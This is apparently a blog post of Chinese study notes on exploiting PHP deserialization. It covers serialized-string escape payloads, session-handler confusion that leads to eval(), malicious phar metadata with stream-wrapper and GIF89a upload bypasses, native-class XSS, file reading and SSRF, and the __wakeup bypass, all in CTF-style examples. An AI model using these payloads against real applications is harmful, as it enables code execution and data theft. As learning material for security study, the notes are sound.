PHP反序列化
序列化
- 序列化的作用
将对象或者数组转化为可存储/传输的字符串
- 对象序列化
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
// O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}
\x00为空字符,一个空字符长度为 1
public (公有) // 序列化后格式 属性名
protected (受保护) // 序列化后格式 \x00*\x00属性名
private (私有的) // 序列化后格式 \x00类名\x00属性名
反序列化的特性
- 反序列化之后的内容为一个对象
- 反序列化生成的对象里的值,由反序列化里的值(字符串$a)提供;与原有预定的值无关
- 反序列化不触发类的成员方法;需要调用方法后才能触发
反序列化的作用
将序列化后的参数还原成实例化的对象
- 反序列化的过程就是碰到
;}
与最前面的{
配对后,便停止反序列化,后面的数据会直接丢弃。 - 反序列化的过程会根据
s
所指定的字符长度
去读取后边的字符。如果指定的长度错误则反序列化就会失败。 - 类中不存在的属性也会进行反序列化。
反序列化漏洞
反序列化漏洞成因:
反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值;通过调用方法,触发代码执行
魔术方法
什么是魔术方法
一个预定义好的,在特定情况下自动触发的行为方法。
魔术方法的作用
在特定条件下自动调用相关方法,最终导致触发代码
__construct //构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法;
__destruct //析构函数,对象引用完成,或对象被销毁(实例化对象结束后,代码运行完全销毁,触发析构函数,在序列化过程中不会触发,在反序列化之后会触发)
__sleep() //执行serialize()时,先会调用这个函数
__wakeup() //执行unserialize()时,先会调用这个函数
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__clone() //当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
pop链
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
POC编写
POC(全程:Proof of concept)中文译作概念验证。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
字符逃逸
反序列化分隔符
反序列化以
;
结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有才可能存在反序列化属性逃逸
字符变多
- 看过滤,判断字符变多还是字符变少,计算变化个数
- 一个字符,构造过滤字符的个数为构造的字符长度
- n个字符,构造过滤字符的个数为构造的字符长度/n
<?php
include('flag.php');
function filter($s) {
return str_replace('admin', 'hacker', $s);
}
class ctf{
public $username;
public $password;
public function __construct($username, $password){
$this -> username = $username;
$this -> password = $password;
}
public function __wakeup(){
if($this -> password == '88888888') {
echo $flag;
die;
}
echo 'Fake admin';
}
}
$u = $_GET['u'];
$p = $_GET['p'];
if (strpos($u, 'admin') !== false){
$data = new ctf($u, $p);
unserialize(filter(serialize($data)));
}
这段代码中 $u
必须包含 admin
,然后把 admin
替换为 hacker
其次通过判断 password
是否等于 8888888
来判断是否输出 flag
<?php
function filter($s) {
return str_replace('admin', 'hacker', $s);
}
class ctf{
public $username;
public $password = '88888888';
public function __construct($username){
$this -> username = $username;
}
}
$u = 'admin';
$data = new ctf($u);
var_dump(filter(serialize($data)));
先给 username
赋值 admin
,然后把 password
改为 88888888
,观察一下返回的数据
O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}
经过替换后 admin
变成了 hacker
,多出来了一个字符,但标记长度没有变化,还是 s:5
,造成了实际长度大于标记长度的情况,从而反序列化失败。
同时我们发现后面我们需要构造的字符 ";s:8:"password";s:8:"88888888";}
长度为 33
,由于过滤规则每次替换增加 1
个字符,所以我们需要 33
个 admin
<?php
function filter($s) {
return str_replace('admin', 'hacker', $s);
}
class ctf{
public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
public $password = '88888888';
}
$a = filter(serialize(new ctf()));
echo $a;
得到如下字符串,
O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}
我们发现 hacker
正好是 198
个字符,而 password
也变成了我们想要的 88888888
字符变少
- 构造想要的值正常序列化,拿到最终的逃逸字符
- 逃逸字符前任意字符+双引号闭合,传入要控制的值
- 根据需要逃逸的字符串的长度,传入对应的过滤字符
<?php
include('flag.php');
function filter($s) {
return str_replace('admin', 'hack', $s);
}
class ctf{
public $username;
public $password;
public function __construct($username, $password){
$this -> username = $username;
$this -> password = $password;
}
public function __wakeup(){
if($this -> password == '88888888') {
echo $flag;
die;
}
echo 'Fake admin';
}
}
$u = $_GET['u'];
$p = $_GET['p'];
if (strpos($u, 'admin') !== false){
$data = new ctf($u, $p);
unserialize(filter(serialize($data)));
}
思路同上,先输出一下 serialize
后的数据
O:3:"ctf":2:{s:8:"username";s:4:"hack";s:8:"password";s:8:"88888888";}
发现 admin
变成了 hack
,但是标记长度没有变化,还是 s:4
,造成了实际长度小于标记长度的情况,我们每增加一个 admin
匹配替换后就减少 1
个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。
这样是我们想要构造的代码
";s:8:"password";s:8:"88888888";}
我们把它传入 password
中观察返回数据
<?php
function filter($s) {
return str_replace('admin', 'hack', $s);
}
class ctf{
public $username = 'admin';
public $password = '";s:8:"password";s:8:"88888888";}';
}
$a = filter(serialize(new ctf()));
echo $a;
得到如下字符串
O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}
所以我们需要吞噬的字符如下
";s:8:"password";s:33:"
由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23
的字符串,这样就可以吞噬到我们想要的代码了。
<?php
function filter($s) {
return str_replace('admin', 'hack', $s);
}
class ctf{
public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
public $password = '";s:8:"password";s:8:"88888888";}';
}
$a = filter(serialize(new ctf()));
echo $a;
得到如下字符串
O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}
session反序列化
PHP在 session
存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION
数据,都会对数据进行序列化和反序列化
在 php.ini
中通常存在以下配置项:
session.save_path
设置session的存储路径session.save_handler
设定用户自定义存储函数session.auto_start
指定会话模块是否在请求开始时启动一个会话session.serialize_handler
定义用来序列化/反序列化的处理器名字。默认使用php
不同的引擎所对应的 session
的存储方式不相同。
<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎 | 存储方式 | 示例 |
---|---|---|
php | 键名 + 竖线 + 经过 serialize() 函数序列化处理的值 |
name |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
names:7:"iami233"; |
php_serialize | 经过 serialize() 函数序列化处理的数组 |
a:1:{s:4:"name";s:7:"iami233";} |
举个例子
我们新建一个 1.php
文件,使用 php_serialize
引擎
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';
访问 localhost/1.php
后生成的 session
文件内容文件为:
a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}
php` 序列化引擎以 `|` 作为 `key` 和 `value` 的分隔符,只反序列化 `|` 后面的内容 所以我们需要在前面加个 `|`,这样 `a:1:{s:4:"name";s:44:"` 被当做了 `key` ,而 `O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}` 被当做了 `value
再新建一个 2.php
文件,不声明引擎的话,默认是 php
<?php
session_start();
class Name {
public $rce;
function __destruct() {
eval($this->rce);
}
}
?>
此时访问 localhost/2.php
即可执行 phpinfo()
函数
phar反序列化漏洞
phar是PHP类似于jar的一种打包文件。
对于PHP5.3或更高版本,phar后缀文件默认开启
phar产生反序列化的原因
在使用phar://协议读取文件时,文件会被解析成phar
解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。
文件包含:phar伪协议,可读取.phar文件
Phar
是php
压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php
访问并执行,与 file://
、 php://
等伪协议类似,也是一种流包装器。
php中一些常见的流包装器如下:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
要想使用 Phar
类里的方法,必须将 php.ini
文件中的 phar.readonly
配置项配置为 0
或 Off
(默认为 On
)
phar结构
stub phar 文件标识,格式为xxx<?php xxx;__HALT_COMPILER(); ?>;
(头部信息)
manifest:压缩文件的属性等信息,以序列化存储
content:被压缩文件的内容
signature (可空):签名,放在末尾。
phar利用条件
- phar文件能上传到服务器端
- 要有可用反序列化魔术方法作为跳板
- 要有文件操作函数,如file_exists(),fopen,file_get_contents()
- 文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤
生成phar文件
编辑.php文件如下
<?php
//一个类
class Test {
public $testdata;
public function test_it() {
echo 1;
}
}
//类的实例化对象
$obj = new Test();
//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
@unlink("phar.phar");
//生成phar时,文件的后缀名必须为phar
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($obj);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>
假设上述程序代码保存为1.php
那么只需要执行(前提是php已经设置于环境变量中,或者跑到php程序目录打开命令行)
php 1.php
即可生成phar.phar
可用010打开查看
当环境限制了phar不能开头,可以使用以下伪协议绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.“”); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
除了 file_put_contents
外,会把 phar
反序列化的函数还有:
受影响的函数列表 | |||
---|---|---|---|
filename |
filectime |
file_exists |
file_get_contents |
file_put_contents |
file |
filegroup |
fopen |
fileinode |
filemtime |
fileowner |
fileperms |
is_dir |
is_executable |
is_file |
is_link |
is_readable |
is_writable |
is_writeable |
parse_ini_file |
copy |
unlink |
stat |
readfile |
原生类
不想做笔记了,去看大佬博客,一天看八百遍,反复温习
Error/Exception XSS
<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a;
SplFileObject 读文件
<?php
$a = new SplFileObject("flag.txt");
echo $a;
DirectoryIterator 遍历目录
<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
echo $b->getFilename() . "\n";
}
FilesystemIterator 遍历目录
<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
echo $b->getFilename() . "\n";
}
SoapClient SSRF
- 需要有
soap
扩展,需要手动开启该扩展。 - 需要调用一个不存在的方法触发其
__call()
函数。 - 仅限于
http
/https
协议
利用原生类 SoapClient
实现 SSRF
,构造 SoapClient
的类对象,需要有两个参数字符串 $wsdl
和数组 $options
public __construct(?string $wsdl, array $options = [])
tricks
php7.1+反序列化对类属性不敏感
我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00
也依然会输出abc
<?php
class test{
protected $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
绕过__wakeup(CVE-2016-7124)
版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
绕过部分正则
匹配序列化字符串是否含有o,c,:冒号之后\d是匹配数字不区分大小写,我们可以利用+绕过
preg_match('/^O:\d+/')
^O,匹配序列化字符串是否是对象字符串开头
-
利用加号绕过(注意在url里传参时+要编码为%2B
-
还可以用数组绕过,serialize(array(a ) ) ; / / a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
利用引用
<?php
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());
上面这个例子将$b
设置为$a
的引用,可以使$a
永远与$b
相等
16进制绕过字符的过滤
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
标签:__,字符,序列化,phar,PHP,password,php
From: https://www.cnblogs.com/solitude0-c/p/17599688.html